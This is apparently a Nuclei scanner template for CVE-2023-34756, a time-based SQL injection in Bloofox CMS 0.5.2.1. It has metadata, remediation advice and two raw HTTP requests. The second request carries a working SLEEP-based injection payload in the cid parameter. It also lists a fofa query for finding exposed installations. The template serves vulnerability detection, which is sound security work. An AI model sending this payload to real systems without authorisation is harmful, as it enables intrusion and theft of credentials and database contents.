id: CVE-2023-34756

info:
  name: Bloofox v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the cid parameter at admin/index.php?mode=settings&page=charset&action=edit.
  impact: |
    Authenticated attackers can exploit time-based SQL injection in the cid parameter to extract sensitive database information including user credentials and CMS configuration data from the Bloofox system.
  remediation: |
    Update Bloofox to a version newer than 0.5.2.1 that uses parameterized queries and properly validates the cid parameter in the charset settings.
  reference:
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://www.bloofox.com
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34756
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34756
    cwe-id: CWE-89
    epss-score: 0.33243
    epss-percentile: 0.9698
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=settings&page=charset&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=ISO-8859-1&description=&cid=2'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body_2, 'Admincenter')
        condition: and
# digest: 4a0a00473045022100c391c1a668c521b96d49eb308d5c61f38420b0cf134955326a9937386486140602203bfa86c89924af858edc1c75ad6c4b6064adc4ad166ff87b31c721c2f8495894:922c64590222798bb761d5b6d8e72950